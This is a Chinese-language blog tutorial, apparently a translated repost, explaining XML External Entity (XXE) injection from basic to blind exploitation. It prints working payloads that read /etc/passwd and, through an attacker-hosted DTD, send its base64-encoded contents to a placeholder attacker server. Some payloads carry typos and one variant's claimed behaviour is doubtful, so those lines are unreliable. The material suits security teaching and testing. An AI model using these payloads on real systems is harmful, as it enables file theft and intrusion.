• 【技巧总结】理解XXE从基础到盲打


    原文:http://agrawalsmart7.com/2018/11/10/Understanding-XXE-from-Basic-to-Blind.html

    这篇文章中将讨论以下问题。

    XXE是什么?
    
    如何确认XXE?
    
    如何利用基本XXE?
    
    如何盲打XXE?
    
    以及盲打XXE有效载荷的备选方案。
    

    首先要了解一些基本的关键词。

    实体:实体引用充当缩写或可以在外部位置找到的数据。语法:&test;

    最常见的实体是:

    内部实体:如果实体在DTD内声明,则称为内部实体。

    语法:<!ENTITY entity_name "entity_value">

    外部实体:如果实体在DTD之外声明,则称为外部实体。由“系统”标识。

    语法:<!ENTITY entity_name SYSTEM "entity_value">

    参数实体:参数实体的目的是能够创建替换文本的可重用部分。(如果不理解,以后会更清楚。)

    语法:<!ENTITY % entity "another entity (Internal or External)">

    XXE是什么?

    XXE是XML External Entity的简称,在错误配置XML解析器解析内部实体时出现的漏洞。XXE有两种类型:

    • 1、基础
    • 2、盲打

    基础一:

    有一个URL参数解析了XML数据,如:http://myapp.com/somefile.php?xml=

    当向这个URL提供XML数据时,并且该数据打印回用户的浏览器,就可以尝试基础的XXE。确认漏洞的存在可以利用以下的方法:

    Payload 1:

    <?xml version="1.0"?>
    <!DOCTYPE root [
    <!ENTITY test SYSTEM 'http://yourserverip/'>]>
    <root>&test;</root>
    

    现在来理解原理。

    1、首先声明XML语法,定义DOCTYPE后再定义XML主体的内容。

    2、在DOCTYPE(即root)之后定义根元素,接下来定义实体,该实体包含SYSTEM属性,表明该实体是外部的。

    3、定义服务器的ip,因为要让目标服务器向攻击者的服务器发送请求。

    当Payload被XML解析,存在漏洞的XML解析方式会解析实体&test,然后实体中对应的是攻击者的服务器IP,所以将通过向攻击者服务器IP请求的方式处理外部实体。

    所以如果攻击者的服务器在网络日志文件中有一个新的连接,那么就可以确认找到了XXE漏洞。

    利用漏洞:

    读取Web服务器的本地文件,可以使用以下有效载荷来完成。

    <?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><root>&test;</root>

    XML解析器将像上面一样处理这个Payload,但现在不会向攻击者的服务器发送请求,而是使用文件协议在本地请求/etc/passwd文件,检索出文件内容并显示出来。 因此攻击者可以读取这台WEB服务器的本地文件。

    如果XML数据没有显示内容该怎么办?(Blind XXE Case)

    仍然可以通过使用上面的第一个Payload来确认漏洞的存在。但是不能看到Web服务器本地文件的文件内容。这仍然是一个安全问题,但严重性有点低。而且这被称为 Blind XXE 或Out-of-band XXE。

    这意味着攻击者必须使用Bild Paylod,将WEB服务器的本地文件内容发送到攻击者的服务器。

    Payload 2:

    <?xml version="1.0"?>
    <!DOCTYPE root [
    <!ENTITY % test SYSTEM 'http://yourserver/xml.dtd'> %test; %exe]>
    <root>&entity;</root>
    

    xml.dtd 内容:

    <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> <!ENTIY % exe "<!ENTITY entity SYSTEM 'http://yourserver/%file;'>">
    

    理解上述代码:

    以上代码使用的是外部DTD文件,即%test。因此xml解析器将解析这个实体并向攻击者的WEB服务器发出请求获取DTD文件的内容。而那个DTD文件中攻击者定义了一些要处理的实体。

    %exe;将生成另一个实体,即实体&entiry。并且该实体将使用文件内容向攻击者的服务器发出请求。 具体的文件内容是在实体%file中的php://filter/convert.base64-encode/resource=/etc/passwd获取的;

    当xml解析器解析实体%file时,该实体将grep受攻击的服务器本地文件的文件内容。使用php filter进行编码。

    可以看一个视频了解攻击者是如何操作的。

    http://agrawalsmart7.com//bandicam 2018-11-04 23-35-26-024.mp4
    

    有人可能会产生这样的问题:为什么要从攻击者的服务器调用DTD?为什么不直接利用Payload?

    Payload 3:

    <?xml version="1.0"?>
    <!DOCTYPE root [
    <!ENTITY % filecontents SYSTEM 'file:///etc/passwd>
    <!ENTITY test SYSTEM 'http://yourserver/%filecontents;'>]>
    <root>&test;</root>
    

    答案是因为根据XML_DOC,参数实体不能在DTD子集内调用,但是可以在外部子集中调用(Payload 2中的利用形式)。 这种形式使用后将提示禁止的错误。

    这就是为什么不能在Payload之上运行的原因。

    试试另一个有效载荷:

    Payload 4:

    <?xml version="1.0"?>
    <!DOCTYPE root [
    <!ENTITY filecontents SYSTEM 'file:///etc/passwd>
    <!ENTITY test SYSTEM 'http://yourserver/&filecontents;'>]>
    <root>&test;</root>
    

    以上这个Payload就没有任何问题,因为实体被作为字符串解析。实体应该在根标记中,如果不是就会被作为一个字符串解析。

  • 相关阅读:
    hdu 1301 Jungle Roads
    hdu 1233 还是畅通工程
    12.3日周二学习笔记
    12.2周一学习记录
    12.1周日学习记录
    浅表副本
    DL项目代码目录结构管理
    因子分析
    relu非线性映射函数,能拟合任意函数吗
    神经网络拟合连续函数
  • 原文地址:https://www.cnblogs.com/17bdw/p/10098181.html
Copyright © 2020-2023  润新知